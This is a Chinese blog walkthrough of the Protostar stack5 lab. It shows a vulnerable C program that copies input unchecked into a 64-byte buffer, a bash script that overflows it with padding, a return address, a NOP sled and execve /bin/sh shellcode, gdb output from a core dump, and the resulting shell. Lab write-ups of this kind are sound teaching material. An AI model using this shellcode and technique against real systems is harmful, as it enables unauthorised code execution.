美文网首页
Protostar stack5问题

Protostar stack5问题

作者: 一路向后 | 来源:发表于2021-02-05 23:05 被阅读0次

1.stack5问题源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char buffer[64];

        strcpy(buffer, argv[1]);

        return 0;
}

2.编写脚本

#!/bin/bash

#填充变量
A=$(printf 'A%.0s' {1..76})

#返回地址
B="BBBC"

#填充空指令
C=$(printf '\x90%.0s' {1..32})

#注入shellcode
D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

GREENIE=$(echo -e -n $A$B$C$D)

./stack5 $GREENIE

3.执行stack5.sh生成core文件

$ ./stack5.sh

4.gdb调试core

$ gdb --core=core.3433
(gdb) x/40wx $esp - 100
0xbffff46c: 0x080483e5  0xbffff480  0xbffff6cb  0xb7fd71d8
0xbffff47c: 0x00000000  0x41414141  0x41414141  0x41414141
0xbffff48c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff49c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4ac: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4cc: 0x43424242  0x90909090  0x90909090  0x90909090
0xbffff4dc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff4ec: 0x90909090  0x6850c031  0x68732f2f  0x69622f68
0xbffff4fc: 0x50e3896e  0x31e18953  0xcd0bb0d2  0x00000080
(gdb) quit

5.修改返回地址

#!/bin/bash

#填充变量
A=$(printf 'A%.0s' {1..76})

#返回地址
B="\xe0\xf4\xff\xbf"

#填充空指令
C=$(printf '\x90%.0s' {1..32})

#注入shellcode
D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

GREENIE=$(echo -e -n $A$B$C$D)

./stack5 $GREENIE

6.成功获取shell

$ ./stack5.sh 
sh-4.1$

相关文章

  • Protostar stack5问题

    1.stack5问题源码 2.编写脚本 3.执行stack5.sh生成core文件 4.gdb调试core 5.修...

  • Linux32缓冲区溢出实验

    实验环境 exploit-exercises-protostar-v2 下载地址https://www.vulnh...

  • 问题,不是问题;问题,还是问题

    问题,不是问题 今天,是到新校舍的第一天。没水没电没床铺,教室里连黑板都没有。面对诸多问题,幸运的是...

  • 问题问题还是问题?

    问题实在是太多了!菜要这样做,不这样做是问题;饭没煮好,也是问题;自己不知道学会搞吃的也是问题;生活好像只剩下无尽...

  • 问题不是问题,如何对待问题才是问题。

    这几天身体状态一直不太好,反复头疼,但仍然坚持上课,我知道我要什么。我渴望找到那个自由绽放的自己。 早上怀着期待的...

  • “问题”不是问题,认为“是问题”才是问题

    大概从一个多星期前,腹部就开始有间断的疼痛感了,有时甚至会很难受。这种感觉在今天上午坐车时达到了最强烈,我简直不知...

  • 问题不是问题,怎样看问题才是问题。

    焦点幸福教师 坚持分享第1349天2020.11.17周二 小风波 1.购物 最近布置班级文化,我从网上购...

  • 问题的问题

    “你别总给我说问题、问题,给我提一些建设性的建议行不?” “你咋变成了意见篓子?” 满腔热血地跑到领导面前表功,结...

  • 问题的问题

    “你别总给我说问题、问题,给我提些建设性的建议行不?” “你咋变成了意见篓子?” 满腔热血地跑到领导面前表功,结果...

  • 问题不是问题!?

    创45:3-5 约瑟对他弟兄们说:“我是约瑟,我的父亲还在吗?”他弟兄不能回答,因为在他面前都惊惶。约瑟又对他弟兄...

网友评论

      本文标题:Protostar stack5问题

      本文链接:https://www.haomeiwen.com/subject/ooqntltx.html